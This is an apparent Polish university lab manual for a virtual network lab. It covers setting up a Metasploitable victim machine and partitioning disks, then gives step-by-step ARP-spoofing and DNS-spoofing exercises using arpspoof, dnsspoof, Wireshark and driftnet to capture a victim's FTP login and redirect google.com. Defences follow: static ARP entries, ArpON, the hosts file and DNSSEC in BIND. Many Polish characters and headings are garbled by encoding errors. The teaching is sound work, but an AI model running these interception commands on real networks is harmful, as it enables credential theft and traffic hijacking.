ping –c 4 www.google.pl 

 
Rys. 1.67. Ubuntu 10.10 – konfiguracja interfejsu sieciowego  

	ródło: opracowanie własne. 

1.10.8. Po ustawieniu powy�szych parametrów zamknij okno terminala. 

1.11. K#�% (-��!&��� �����+# ��2+� 

Maszyna z systemem Metasploitable jest u�ywana wył�cznie w �wiczeniu 
dotycz�cym testów penetracyjnych jako komputer ofiary. System ten posiada 
zainstalowane stare wersje usług i programów, przez co jest podatny na znane 
ataki i mo�liwe jest przej�cie kontroli nad systemem. 
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1.11.1. Uruchom maszyn� z systemem Metasploitable i zaloguj si� do systemu. 

Login: bss 
Hasło: zaq1@WSX 

1.11.2. Przejd� do powłoki u�ytkownika root, aby uzyska� mo�liwo�� konfiguracji 
interfejsów sieciowych. Wpisz w konsoli: 

sudo su 

Hasło u�ytkownika root: zaq1@WSX (Uwaga: hasło nie jest widoczne podczas 
wpisywania). 

1.11.3. Skonfiguruj adres IP i wł�cz interfejs podł�czony do sieci wewn�trznej, 
korzystaj�c z narz�dzia ifconfig. Wpisz w konsoli: 

ifconfig eth0 172.16.1.61 netmask 255.255.255.0 
ifconfig eth0 up 

1.11.4. Nast�pnie ustaw domy�ln� bram� sieciow� (jest ni� dla wszystkich 
komputerów maszyna z systemem Debian). Wpisz w konsoli: 

route add default gw 172.16.1.1 eth0 

1.11.5. Aby mo�liwa była komunikacja z sieci� zewn�trzna przy u�yciu nazw 
symbolicznych, zdefiniuj adres serwera DNS poprzez dodanie wpisu  
w pliku /etc/resolv.conf (np. podaj�c adres serwera OpenDNS). Wpisz  
w konsoli: 

echo ’nameserver 208.67.222.222’ > /etc/resolv.conf 
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1.11.6. Aby sprawdzi� poprawno�� konfiguracji wy�lij pakiet ICMP. Wpisz  
w konsoli: 

ping –c 4 www.google.pl 

 
Rys. 1.68. Metasploitable – konfiguracja interfejsu sieciowego  

	ródło: opracowanie własne. 

1.11.7. Zamknij wszystkie uruchomione maszyny wirtualne, zapisuj�c ich aktualny 
stan. Kliknij krzy�yk w rogu okna z uruchomion� maszyn�. W oknie 
Zamykanie maszyny wirtualnej wybierz opcj� Zapisanie stanu maszyny. 

 
Rys. 1.69. Oracle VirtualBox – zamkni�cie i zapisanie stanu maszyny  

	ródło: opracowanie własne. 
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1.12. I� !&#��� �� �%#�/ ��#��� ��$���-�����$�(#�−−−−��  �$#���
���=���;55<�

1.12.1. Wybierz Start -> Uruchom i wpisz compmgmt.msc w celu uruchomienia 
usługi Zarz�dzania komputerem. 

 
Rys. 1.70. Uruchamianie compmgmt.msc 

 	ródło: opracowanie własne. 

1.12.2. Z drzewa zasobów po lewej stronie wybierz Zarz�dzanie komputerem 
(lokalne) -> Magazyny -> Zarz�dzanie dyskami. Gdy tylko menad�er 
dysków wykryje nowy sprz�t zostanie uruchomiony Kreator inicjowania 
i konwertowania dysku, wybierz Dalej >. 

 
Rys. 1.71. Widok Kreator inicjowania i konwertowania dysku  

	ródło: opracowanie własne. 
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1.12.3. Wybierz dysk do zainicjowania i przejd� Dalej > . 

 
Rys. 1.72. Kreator inicjowania i konwertowania dysku – wybór dysku do zainicjowania 

	ródło: opracowanie własne. 

1.12.4. Chcemy zainicjowa�, a nie konwertowa� dysku, wi�c na kolejnym ekranie 
odznacz pole Dysk 1 i przejd� Dalej >. 

 
Rys. 1.73. Kreator inicjowania i konwertowania dysku –  

wybór dysku do konwertowania 
	ródło: opracowanie własne. 
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1.12.5. Wybierz Zako�cz w celu zako�czenia pracy kreatora. 

 
Rys. 1.74. Ko�czenie pracy Kreatora inicjowania i konwertowania dysku  

	ródło: opracowanie własne. 

1.12.6. Aby uruchomi� Kreator nowych partycji kliknij prawym przyciskiem 
myszy na obszarze Dysku 1 opisanym jako „ Nieprzydzielone” , a nast�pnie 
wybierz Nowa partycja… 

 
Rys. 1.75. Uruchamianie Kreatora nowych partycji  

	ródło: opracowanie własne. 
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1.12.7. Wybierz typ Partycja podstawowa i przejd� Dalej. 

 
Rys. 1.76. Kreator nowych partycji – wybieranie typu partycji  

	ródło: opracowanie własne. 

1.12.8. Okre�l rozmiar partycji, przydzielaj�c maksymaln� dost�pn� ilo�� miejsca 
na dysku podan� w MB i przejd� Dalej. 

 
Rys. 1.77. Kreator nowych partycji – okre�lanie rozmiaru partycji  

	ródło: opracowanie własne. 
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1.12.9. Zaznacz Przypisz nast�puj�c� liter� dysku i wybierz z listy liter� E, 
nast�pnie wybierz Dalej. 

 
Rys. 1.78. Kreator nowych partycji – przypisywanie litery dysku  

	ródło: opracowanie własne. 

1.12.10. Zaznacz Formatuj t� partycj� z nast�puj�cymi ustawieniami: oraz 
przed przej�ciem Dalej > upewnij si�, �e nast�puj�ce pola s� skonfi- 
gurowane zgodnie z rysunkiem rys. 1.79. 

 
Rys. 1.79. Kreator nowych partycji – ustawienia formatowania partycji  

	ródło: opracowanie własne. 
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Gdy zako�czysz działanie kreatora rozpocznie si� proces zakładania partycji 
oraz formatowania do wybranego systemu plików. Po zako�czeniu formatowania 
dysk b�dzie gotowy do pracy.  

1.13. I� !&#��� �� �%#�/ ��#��� ��$���-�����$�(#�>���!����!��:�

GParted to aplikacja posiadaj�ca przejrzysty, intuicyjny interfejs graficzny 
pozwalaj�cy na bardzo szybkie i sprawne zakładanie oraz formatowanie nowych 
partycji. 

1.13.1. Aby uruchomi� aplikacje Gparted, wpisz w konsoli : 

gparted 

1.13.2. Przejd� do wła�ciwego urz�dzenia wybierz GParted > Devices > /dev/sdb. 

 
Rys. 1.80. GParted – wybór urz�dzenia 

	ródło: opracowanie własne. 
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1.13.3. Nast�pnie kliknij prawym przyciskiem myszy na obszarze opisanym jako 
„ unallocated”  i wybierz New. 

 
Rys. 1.81. GParted – zakładanie nowej partycji  

	ródło: opracowanie własne. 

1.13.4. Przed wła�ciwym stworzeniem partycji zostaniesz ostrze�ony o na- 
st�pstwach powy�szej operacji, czyli utracie danych, nasz dysk jest pusty, 
wi�c bez obaw wybierz Create. 

 
Rys. 1.82. Ostrze�enie o utracie danych w wyniku zakładania nowej partycji  

	ródło: opracowanie własne. 

1.13.5. Ponownie wykonaj czynno�ci z punktu 1.13.3, pozwoli to na uruchomienie 
kreatora nowej partycji. Nast�pnie ustaw pole New Size (MiB): na 
maksymalny dost�pny rozmiar, pole Create as: na Primary Partition 
oraz pole Filesystem: na ext3. W razie w�tpliwo�ci prawidłow� 
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konfiguracj� przedstawia rysunek poni�ej. Je�eli wszystko jest skonfigu- 
rowane prawidłowo, wybierz Add. 

 
Rys. 1.83. GParted – kreator nowej partycji  

	ródło: opracowanie własne. 

1.13.6. Nast�pnie wybierz z paska narz�dzi Apply, po pojawieniu si� ostrze�enia 
o utracie danych raz jeszcze wybierz Apply. 

 
Rys. 1.84. GParted - Tworzenie partycji podstawowej  

	ródło: opracowanie własne. 
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Rys. 1.85. Ostrze�enie przed utrat� danych  

	ródło: opracowanie własne. 

1.13.7. Przejd� do folderu /media/  

cd /media/ 

nast�pnie stwórz katalog sdb1 

mkdir sdb1  

i zamontuj partycje przy pomocy polecenia: 

mount /dev/sdb1 /media/sdb1/ 
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2. ARP-��
 
 ����  

Opracował: Sławomir Adamus  
Cel �wiczenia: wykonanie ataku ARP-spoofing na system MS 

Windows i zabezpieczenie przed atakiem 
Potrzebne narz�dzia: BackTrack Linux 4, Microsoft Wndows 7, Ubuntu 

10.10, arpspoof, driftnet 
Literatura: M. Szmit, M. Gusta, M. Tomaszewski,  

101 zabezpiecze� przed atakami w sieci komputerowej, 
Wyd. Helion, 2005, ss. 22-25, 48-51. 

Współczesne sieci komputerowe budowane s� głównie z wykorzystaniem 
przeł�czników sieciowych (ang. switch), które w odró�nieniu od koncentratorów 
(ang. hub) przesyłaj� ramki tylko mi�dzy odpowiednimi portami. Decyzje  
o przesłaniu ramki podejmowane s� na podstawie tablicy adresów fizycznych 
MAC, w której znajduj� si� odwzorowania adresów MAC na porty switcha. Aby 
mo�liwy był podsłuch, konieczne jest zaburzenie mechanizmu decyduj�cego  
o przesłaniu ramki do konkretnego portu. Mo�na tego dokona� m.in. poprzez 
fałszowanie pakietów ARP (ang. Address Resolution Protocol – protokół 
odpowiedzialny za powi�zanie adresów IP z adresami MAC), zalewanie switcha 
du�� ilo�ci� ramek ze sfałszowanym adresem MAC w celu przepełnienia pami�ci 
urz�dzenia (ang. MAC-flooding) oraz duplikacj� adresu MAC ofiary. W �wicze- 
niu zaprezentowana zostanie pierwsza z wymienionych metod podsłuchu, poniewa� 
współczesne switche s� w pewnym stopniu odporne na atak MAC-flooding,  
a duplikacja adresu MAC umo�liwia jedynie cz��ciowe przechwycenie transmisji. 

W �wiczeniu wykorzystane zostan� maszyny z systemami Microsoft 
Windows 7, BackTrack 4, Ubuntu 10.10 oraz Debian 5 w roli routera. Na rys. 2.1 
przedstawiony został schemat sieci wykorzystanej przy �wiczeniu. 
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Rys. 2.1. Schemat sieci wykorzystanej w �wiczeniu 

	ródło: opracowanie własne. 

2.1. P�"���#��$"�� ������- 

2.1.1. Uruchom wirtualn� maszyn� z systemem Debian i zaloguj sie do systemu. 

2.1.2. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz: 

ping –c 4 www.google.pl 

2.1.3. Uruchom wirtualn� maszyn� z systemem Windows 7 i zaloguj si� do systemu. 

2.1.4. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli (Start-> Wyszukaj programy i pliki -> cmd): 

ping www.google.pl 

 
Rys. 2.2. Windows 7 – polecenie ping  

	ródło: opracowanie własne. 
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2.1.5. Wy�wietl tablic� ARP systemu w celu porównania z tablic� po ataku. 
Wpisz w konsoli polecenie: 

arp -a 

 
Rys. 2.3. Windows 7 − tablica ARP przed dokonaniem ataku  

	ródło: opracowanie własne. 

2.1.6. Uruchom wirtualn� maszyn� z systemem Ubuntu 10.10 i zaloguj sie do 
systemu. 

2.1.7. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli: 

 ping –c 4 www.google.pl 

 
Rys. 2.4. Ubuntu 10.10 – polecenie ping  

	ródło: opracowanie własne. 

2.1.8. Wy�wietl tablic� ARP systemu w celu porównania z tablic� po ataku. 
Wpisz w konsoli polecenie: 

arp 

 
Rys. 2.5. Tablica ARP systemu Ubuntu 10.10 przed wykonaniem ataku  

	ródło: opracowanie własne. 

2.1.9. Uruchom wirtualn� maszyn� z systemem BackTrack 4 i zaloguj sie do 
systemu. 
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2.1.10. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli: 

 ping –c 4 www.google.pl 

 
Rys.  2.6 Polecenie ping w systemie BackTrack 

 	ródło: opracowanie własne. 

2.1.11. Aby ofiara nie zauwa�yła, �e pakiety wysyłane z jej komputera s� prze- 
chwytywane, na maszynie z systemem BackTrack uruchom przekazywanie 
pakietów, dzi�ki czemu zacznie ona działa� jako pseudo-router. Wpisz  
w konsoli systemu BackTrack: 

echo 1 > /proc/sys/net/ipv4/ip_forward 

2.1.12. Atak ARP-spoofing wykonany zostanie przy u�yciu programu arpspoof. 
Program wywołuje si� nast�puj�co: 

arpspoof –i <interfejs> -t <adres_ofiary> <adres_bramy> 

gdzie: 

<interfejs> - interfejs sieciowy wykorzystywany do ataku 
<adres_ofiary> - adres IP komputera ofiary 
<adres_bramy> - adres IP bramy do Internetu 

Wpisz w konsoli: 

arpspoof –i eth0 –t 172.16.1.4 172.16.1.1 

 
Rys. 2.7. BackTrack − wynik działania programu arpspoof 

	ródło: opracowanie własne. 
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2.1.13. Uruchom drug� instancj� konsoli (Ctrl + Shift + N) i uruchom atak na 
maszyn� z systemem Ubuntu. Wpisz w konsoli: 

arpspoof –i eth0 –t 172.16.1.5 172.16.1.1 

2.1.14. Przejd� do maszyny z systemem Windows 7 i wy�wietl tablic� ARP:  

arp -a 

 
Rys. 2.8. Tablica ARP systemu Windows po wykonaniu ataku  

	ródło: opracowanie własne. 

2.1.15. Przejd� do maszyny z systemem Ubuntu 10.10 i wy�wietl tablic� ARP:  

arp 

 
Rys. 2.9. Tablica ARP systemu Ubuntu po wykonaniu ataku  

	ródło: opracowanie własne. 

Na zrzutach ekranu wida�, �e adres fizyczny bramy (IP: 172.16.1.1) jest 
identyczny z adresem MAC komputera agresora (IP: 172.16.1.2). 

Wykonanie ataku ARP-spoofing umo�liwia podsłuch (ang. sniffing) 
transmisji prowadzonej przez komputer ofiary. Mo�na podsłucha� np. loginy  
i hasła do usług, których transmisja nie jest szyfrowana. 

2.1.16. Na komputerze z systemem BackTrack uruchom program Wireshark 
umo�liwiaj�cy podsłuch transmisji. Wpisz w konsoli: 

wireshark 
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2.1.17. W głównym oknie programu nale�y wybra� interfejs, z którego 
przechwytywane b�d� pakiety (eth0). 

 
Rys. 2.10. Główne okno programu Wireshark  

	ródło: opracowanie własne. 

2.1.18. Nast�pnie przejd� na maszyn� z systemem Windows i poł�cz si�  
z serwerem FTP (ang. File Transfer Protocol – protokół transferu plików) 
wymagaj�cym logowania. W tym celu wpisz w konsoli komend�:  

ftp <adres_serwera> 

gdzie:  

<adres_serwera> - adres IP serwera udost�pniaj�cego usług� FTP 

Wpisz w konsoli: 

ftp ftp.trolltech.com 

2.1.19. Na serwerze zaloguj si� u�ywaj�c po�wiadcze�: 

Login: ftp 
Hasło: ftp 
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Rys. 2.11. Windows – poł�czenie z serwerem ftp  

	ródło: opracowanie własne. 

2.1.20. Nast�pnie w programie Wireshark kliknij prawym przyciskiem myszy na 
dowolny pakiet protokołu FTP (kolumna Protocol) i wybierz opcj� 
Follow TCP Stream. 

 
Rys. 2.12. BackTrack – przechwycenie transmisji FTP  

	ródło: opracowanie własne. 
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2.1.21. W oknie, które si� pojawi, mo�na łatwo odczyta� login i hasło ofiary. 
Czerwonym kolorem zaznaczone s� dane wysyłane przez ofiar�. Login 
znajduje si� za ci�giem USER, hasło za ci�giem PASS. 

 
Rys. 2.13. BackTrack – podgl�d transmisji z serwerem FTP 

	ródło: opracowanie własne. 

Program driftnet dekoduje w czasie rzeczywistym transmisj� zawieraj�c� 
grafik� ze strumienia TCP (ang. Transmission Control Protocol – protokół 
kontroli transmisji), umo�liwiaj�c przegl�danie zawarto�ci plików graficznych 
pobieranych na komputer ofiary. 

2.1.22. Na komputerze z systemem BackTrack uruchom program driftnet. Wpisz 
w konsoli: 

driftnet 

2.1.23. Nast�pnie na komputerze z systemem Ubuntu  uruchom przegl�dark� 
internetow� (Aplikacje -> Internet -> Przegl�darka WWW Firefox)  
i wejd� na dowoln� stron� internetow� zawieraj�ca pliki graficzne (np. 
www.onet.pl). 
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2.1.24. Na komputerze z systemem BackTrack mo�na teraz przegl�da� pliki 
graficzne pobierane przez komputer ofiary: 

 
Rys. 2.14. BackTrack − wynik działania programu driftnet 

	ródło: opracowanie własne. 

2.2. Z�2�"� �!"�� ��

Na atak ARP-spoofing podatne s� komputery, które korzystaj� z dynamicznych 
wpisów w tablicach ARP. Wpis taki przechowuje odwzorowania IP -> MAC  
w tablicy ARP tylko przez okre�lony czas. Tablica jest aktualizowana na podstawie 
ramek ARP Reply przesyłanych w sieci lokalnej. Poniewa� komputer agresora 
wysyła regularnie fałszywe ramki ARP Reply, to komputer ofiary korzysta  
z fałszywych wpisów IP -> MAC. Mo�na uodporni� si� na fałszywe ramki ARP 
Reply, ustawiaj�c statyczne wpisy w tablicy ARP – wpisy takie nie s� modyfi- 
kowane podczas pracy systemu. Wpisy, których nie umie�cimy w tablicy ARP 
statycznie, s� aktualizowane dynamicznie. 

Prezentowane tutaj metody zabezpiecze� działaj� w �rodowiskach sieciowych, 
których topologia oparta jest o przeł�czniki (ang. switch). Niestety, obsługa 
�rodowiska sieciowego w oprogramowaniu wirtualizacyjnym jest uproszczona – 
komunikacja sieciowa działa na zasadzie koncentratora (ang. hub), przez co 
wszystkie pakiety sieciowe trafiaj� do wszystkich maszyn wirtualnych.  
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2.3. S����!"����� �������2+ !����� 

2.3.1. Na komputerze z systemem Debian przejd� do konsoli u�ytkownika root. 
Wpisz w konsoli: 

su 

2.3.2. Sprawd� jaki adres MAC posiada router. Wpisz w konsoli: 

ifconfig eth1 

 
Rys. 2.15. Debian – sprawdzenie stanu interfejsu sieciowego  

	ródło: opracowanie własne. 

Adres fizyczny znajduje si� w pierwszej linii, za ci�giem „ HWaddr” . 

2.3.3. Aby ustawi� statyczny wpis ARP na komputerze z systemem Windows 7, 
wpisz w konsoli polecenie: 

arp –s <adres_ip> <adres_mac> 

gdzie: 

<adres_ip> - adres IP komputera zdalnego, 
<adres_mac> - adres fizyczny komputera zdalnego (jako separator u�yj  

  my�lnika). 

Wpisz w konsoli systemu Windows (zast�p adres MAC adresem odczytanym 
w pkt. 2.3.2): 

arp –s 172.16.1.1 08-00-27-78-0d-18 

2.3.4. Odczytaj adres MAC komputerze z systemem Windows. Wpisz w konsoli: 

ipconfig –all 
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Znajd� wpis dla karty Ethernet Poł�czenie lokalne i odczytaj adres fizyczny. 

 
Rys. 2.16. Windows 7 – sprawdzenie stanu poł�czenia lokalnego  

	ródło: opracowanie własne. 

2.3.5. Na maszynie z systemem Debian dodaj statyczny wpis. Składnia polecenia 
jest taka sama jak w Windows, nale�y jednak zamiast separatora ‘-‘ u�y� ‘:’. 
Wpisz w konsoli systemu Debian (zast�p adres MAC adresem odczytanym 
w pkt. 2.3.4): 

arp –s 172.16.1.4 08:00:27:0a:1b:31 

2.3.6. Wy�wietl tablic� ARP na maszynach z systemem Windows i Debian w celu 
weryfikacji statycznych wpisów. Wpisz w konsoli: 

arp –a 

Wpisy statyczne wyró�nione s� słowem „ PERM”  (systemy Linux) lub „ Typ: 
statyczne”  (systemy Windows). 

 
Rys. 2.17. Statyczne wpisy w tablicy ARP systemu Windows  

	ródło: opracowanie własne. 
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2.4. A��
 ��?����7��$+��� ����!� 
 �@ 

ArpON jest oprogramowaniem, które zabezpiecza komputer przed atakami 
typu Man-in-the-Middle wykorzystuj�cymi ARP-Spoofing, przy u�yciu algorytmów 
analizuj�cych pakiety ARP Request i ARP Reply. Aplikacja wykrywa i blokuje 
ataki zatruwaj�ce tablic� ARP, przez co zabezpiecza tak�e przed atakami DHCP  
i DNS Spoofing oraz przed przechwytywaniem sesji SSL (ang. Secure Socket Layer 
– protokół zapewniaj�cy poufno�� i integralno�� danych oraz uwierzytelnianie 
serwera). 

2.4.1. Na maszynie z systemem Ubuntu zainstaluj program ArpON. Wpisz  
w konsoli: 

sudo apt-get –y install arpon 

2.4.2. Uruchom program ArpON w trybie dynamicznej analizy pakietów ARP. 
Wywołanie programu: 

sudo arpon –i <int> <tryb> 

gdzie: 

<int> - interfejs na którym b�dzie działał program, 
<tryb> - tryb pracy (statyczny / dynamiczny). 

Wpisz w konsoli: 

sudo arpon –i eth0 –d 

 
Rys. 2.18. Program ArpON w systemie Ubuntu 10.10  

	ródło: opracowanie własne. 
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2.5. W���% ��!&��"�2�"� �!"�� � 

W celu weryfikacji nale�y spróbowa� podsłucha� pakiety na komputerze 
agresora snifferem Wireshark, jednocze�nie loguj�c si� na serwer FTP z komputera 
ofiary. Przy prawidłowo wprowadzonych odwzorowaniach ARP komputer ofiary 
wy�le pakiety bezpo�rednio do bramy sieciowej, przez co podsłuch b�dzie 
niemo�liwy. 

2.5.1. Przejd� na maszyn� z systemem Windows i poł�cz si� z serwerem FTP 
(ang. File Transfer Protocol) wymagaj�cym logowania. Wpisz w konsoli: 

ftp ftp.trolltech.com 

Na serwerze zaloguj si� na konto u�ytkownika ftp jako hasło podaj�c ftp 

2.5.2. Na maszynie z systemem Ubuntu poł�cz si� z serwerem FTP. Wpisz  
w konsoli: 

ftp ftp.trolltech.com 

Na serwerze zaloguj si� na konto u�ytkownika ftp jako hasło podaj�c ftp 

2.5.3. Przejd� na maszyn� z systemem BackTrack. W programie Wireshark nie 
powinny pojawia� sie nowe przechwycone pakiety. 

2.5.4. Wyczy�� tablice wpisów ARP w systemie Windows. Na maszynie z syste- 
mem Windows wpisz w konsoli: 

arp -d 

2.5.5. Zatrzymaj działanie programu ArpON na komputerze z systemem Ubuntu. 
Wpisz w konsoli: 

sudo killall arpon 
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2.5.6. Zamknij wszystkie wirtualne maszyny, zamykaj�c okna programu VirtualBox. 
Przy potwierdzeniu zamkni�cia wybierz opcj� Zapisanie stanu maszyny  
i kliknij OK. 

 
Rys. 2.19. Oracle VirtualBox – zamkni�cie i zapisanie stanu maszyny wirtualnej  

	ródło: opracowanie własne. 
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3. DNS>��
 
 ����  

Opracował: Sławomir Adamus 
Cel �wiczenia: wykonanie przykładowego ataku DNS-spoofing na system 

MS Windows 
Potrzebne 
narz�dzia: 

BackTrack Linux 4, arpspoof, dnsspoof 
Microsoft Windows 7 

Literatura: M. Szmit, M. Gusta, M. Tomaszewski, 101 zabezpiecze� 
przed atakami w sieci komputerowej, Wyd. Helion, 2005, 
ss. 217-223. 

Atak DNS-spoofing polega na uruchomieniu fałszywego serwera nazw 
domenowych (DNS) nasłuchuj�cego na porcie UDP (ang. User Datagram Protocol – 
protokół pakietów u�ytkownika) 53. Do serwera tego kierowane s� zapytania 
DNS przechwycone przez atakuj�cego (np. z u�yciem techniki ARP-spoofing). 
Zwracane przez serwer fałszywe odwzorowania nazw domenowych na adresy IP 
umo�liwiaj� przekierowanie ruchu na nieprawidłowy serwer.  

Atak DNS-spoofing zostanie zaprezentowany na przykładzie typowej sieci 
lokalnej. Komputer ofiary b�dzie nawi�zywał poł�czenie z serwerem z domeny 
google.com. W sieci b�dzie jednak uruchomiony fałszywy serwer DNS, który 
przechwytuj�c ruch ofiary metod� ARP-spoofing b�dzie przekierowywał ofiar� 
na serwer WWW uruchomiony na komputerze napastnika. Topologia sieci 
wykorzystanej w �wiczeniu zaprezentowana jest na rysunku rys. 3.1. 

 
Rys. 3.1. Schemat sieci wykorzystanej w �wiczeniu DNS-Spoofing  

	ródło: opracowanie własne. 
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3.1. P�"�(#�#��� ������- 

3.1.1. Uruchom wirtualn� maszyn� z systemem Debian i zaloguj si� do systemu. 

3.1.2. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli: 

ping –c 4 www.google.pl 

3.1.3. Uruchom wirtualn� maszyn� z systemem Ubuntu i zaloguj si� do systemu. 

3.1.4. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli: 

ping –c 4 www.google.pl 

3.1.5. Uruchom wirtualn� maszyn� z systemem Windows 7 i zaloguj si� do 
systemu. 

3.1.6. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli systemu Windows: 

ping www.google.pl 

3.1.7. Uruchom wirtualn� maszyn� z systemem BackTrack 4 i zaloguj si� do 
systemu. 

3.1.8. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli: 

ping –c 4 www.google.pl 

3.1.9. Na komputerze z systemem BackTrack 4 wykonaj atak ARP-spoofing  
w celu przechwycenia komunikacji ofiar z Internetem. Wpisz w konsoli: 

echo 1 > /proc/sys/net/ipv4/ip_forward 
arpspoof –i eth0 –t 172.16.1.4 172.16.1.1 
arpspoof –i eth0 –t 172.16.1.1 172.16.1.4 
arpspoof –i eth0 –t 172.16.1.5 172.16.1.1 
arpspoof –i eth0 –t 172.16.1.1 172.16.1.5 
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Rys. 3.2. BackTrack – wykonanie ataku ARP-Spoofing  

	ródło: opracowanie własne. 

3.1.10. Uruchom serwer WWW, na który kierowany b�dzie ruch z domeny 
google.com. Wpisz w konsoli: 

start-apache 

3.1.11. Utwórz plik index.html w katalogu /var/www o nast�puj�cej zawarto�ci: 

<html> 
 <body> 
  <h1> 
   Atak DNS-spoofing 
  </h1> 
 </body> 
</html> 

W tym celu wpisz w konsoli: 

echo „<html><body><h1>Atak DNS-spoofing</h1></body></html>” > 
/var/www/index.html 
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3.1.12. Nast�pnie utwórz plik konfiguracyjny dla programu dnsspoof z list� 
podmienianych adresów wg. schematu: 

<IP> <nazwa domenowa> 

gdzie: 

<IP > - adres IP, który b�dzie zwracany przez fałszywy serwer DNS, 
<nazwa domenowa>- adres domenowy, którego odwzorowanie b�dzie 

fałszowane. 

W przykładzie sfałszowane zostan� wszystkie odpowiedzi na zapytania 
kierowane do serwerów google.com. Umieszczenie gwiazdki na pocz�tku nazwy 
domenowej powoduje przechwycenie ruchu do wszystkich subdomen. Aby 
utworzy� plik konfiguracyjny, wpisz w konsoli: 

echo „172.16.1.2 *google.com” > serwery 

3.1.13. Uruchom program dnsspoof z utworzonym wcze�niej plikiem konfigu- 
racyjnym. Wpisz w konsoli: 

dnsspoof –f serwery 

 
Rys. 3.3. BackTrack – wykonanie ataku DNS-Spoofing  

	ródło: opracowanie własne. 

3.1.14. Na komputerze z systemem Windows 7 wł�cz przegl�dark� internetow�  
i wejd� na  stron� www.google.com (lub inn� zgodnie z zawarto�ci� pliku 
serwery). 

 
Rys. 3.4. Windows 7 – efekt wykonania ataku DNS-Spoofing  

	ródło: opracowanie własne. 
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3.2. Z�2�"� �!"�� � 

Na atak DNS-spoofing nara�one s� komputery, które nie korzystaj� z serwerów 
DNS u�ywaj�cych protokołu DNSSec (ang. Domain Name System Security 
Extensions – rozszerzenia bezpiecze�stwa protokołu DNS). Przed zaprezentowanym 
atakiem mo�na zabezpieczy� si� na kilka sposobów: 

• mo�na nie u�ywa� serwerów DNS, posługuj�c si� jedynie adresami IP – 
takie rozwi�zanie jest jednak niewygodne i nie uwzgl�dnia mo�liwo�ci 
migracji serwerów pod inne adresy IP. 

• mo�na na stałe poł�czy� nazwy serwerów z ich adresami IP poprzez 
statyczne odwzorowania nazw. 

• mo�na korzysta� z bezpiecznych serwerów nazw domenowych. Wymusze- 
nie korzystania z protokołu DNSSec, w którym nadchodz�ce odpowiedzi 
s� autoryzowane, powoduje odrzucenie odpowiedzi sfałszowanej. 

3.3. S����!"���#$�"#�#��� ����"��$#/ ��#��!7 

3.3.1. Na maszynie z systemem Windows 7 uruchom Notatnik z prawami admini- 
stratora. Wejd� w menu Start -> Wszystkie programy -> Akcesoria, 
kliknij prawym przyciskiem myszy na programie Notatnik i wybierz opcj� 
Uruchom jako administrator. 

 
Rys. 3.5. Windows 7 – uruchomienie notatnika  

	ródło: opracowanie własne. 
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3.3.2. Uaktywni si� mechanizm Kontroli konta u�ytkownika. Wci�nij Tak. 

 
Rys. 3.6. Windows 7 – mechanizm UAC  

	ródło: opracowanie własne. 

3.3.3. W Notatniku kliknij menu Plik -> Otwórz. 

 
Rys. 3.7. Notatnik – otwarcie pliku  
	ródło: opracowanie własne. 

3.3.4. W filtrze typu pliku wybierz Wszystkie pliki i przejd� do katalogu: 

C:\Windows\System32\drivers\etc 

 
Rys. 3.8. Windows 7 – lokalizacja pliku hosts  

	ródło: opracowanie własne. 
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3.3.5. Wybierz plik hosts i kliknij Otwórz. 

3.3.6. Dodaj na ko�cu pliku wpis statyczny w postaci: 

<IP> <nazwa domenowa> 

gdzie: 

<IP> - adres IP serwera, 
<nazwa domenowa> - nazwa domenowa serwera. 

Wpisz na ko�cu pliku: 

74.125.79.104 www.google.com 

 
Rys. 3.9. Windows 7 – dodanie statycznego wpisu w pliku hosts  

	ródło: opracowanie własne. 

3.3.7. Zapisz plik i zamknij Notatnik. 

W systemach z rodziny Windows plik hosts znajduje si� w katalogu: 

Windows 98/ME C:\WINDOWS 
Windows NT/2000 C:\WINNT\SYSTEM32\DRIVERS\ETC 
Windows XP/Vista/7 C:\WINDOWS\SYSTEM32\DRIVERS\ETC 
Windows 2003/2008 C:\WINDOWS\SYSTEM32\DRIVERS\ETC 
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W systemach z rodziny Unix plik hosts znajduje sie w katalogu /etc. 
Składnia pliku jest podobna, mo�na jednak doda� opcjonalnie alias domeny, 
czyli skrócon� nazw� domenow�. Składnia: 

<IP> <nazwa domenowa> <alias> 

gdzie: 

<IP> - adres IP serwera, 
<nazwa domenowa> - nazwa domenowa serwera, 
<alias> - alias domeny serwera. 
 

3.4. I����+�!&�� ��#�% (-��!&����������
 ����	����
 ���1 2-��- 

Protokół DNSSEC jest rozszerzeniem systemu DNS, maj�cym na celu 
zapewnienie bezpiecznego korzystania z systemu nazw domenowych poprzez 
zabezpieczenie transmisji. Bezpiecze�stwo jest zapewniane przez zastosowanie 
kryptografii i podpisów cyfrowych. 

Poni�ej zaprezentowane jest uruchomienie serwera DNS wykorzystuj�cego 
DNSSEC na przykładzie programu BIND. 

3.4.1. Na komputerze z systemem Ubuntu zaktualizuj list� programów dost�pnych  
z repozytorium. Wpisz w konsoli: 

sudo su 
apt-get update 

Zostaniesz poproszony o podanie hasła administratora. 

3.4.2. Zainstaluj program BIND. Wpisz w konsoli: 

apt-get install bind9 
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Potwierd� instalacj� klawiszem T (Y w wersji angielskiej). 

 
Rys. 3.10. Instalacja BIND w systemie Ubuntu  

	ródło: opracowanie własne. 

3.4.3. Pobierz KSK (ang. Key Signing Key – klucz słu��cy do podpisu kluczy 
stref DNS) root serwerów usługi DNSSEC i zapisz wynik w pliku klucz. 
Wpisz w konsoli: 

dig . dnskey|grep 257 > klucz 

 
Rys. 3.11. Pobranie KSK root serwerów usługi DNSSEC  

	ródło: opracowanie własne. 

3.4.4. Dodaj do pliku /etc/bind/named.conf wpis z zaufanym kluczem. Wpisz 
w konsoli: 

gedit /etc/bind/named.conf 

i wpisz na ko�cu pliku: 

trusted-keys{ 
. 257 3 8 ”<klucz>”; 
}; 
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wstawiaj�c w miejsce <klucz> klucz KSK zapisany w pliku /home/bss/klucz. 

 
Rys. 3.12. Wpis w named.conf z zaufanym kluczem 

	ródło: opracowanie własne. 

3.4.5. Zapisz plik i zamknij edytor. 

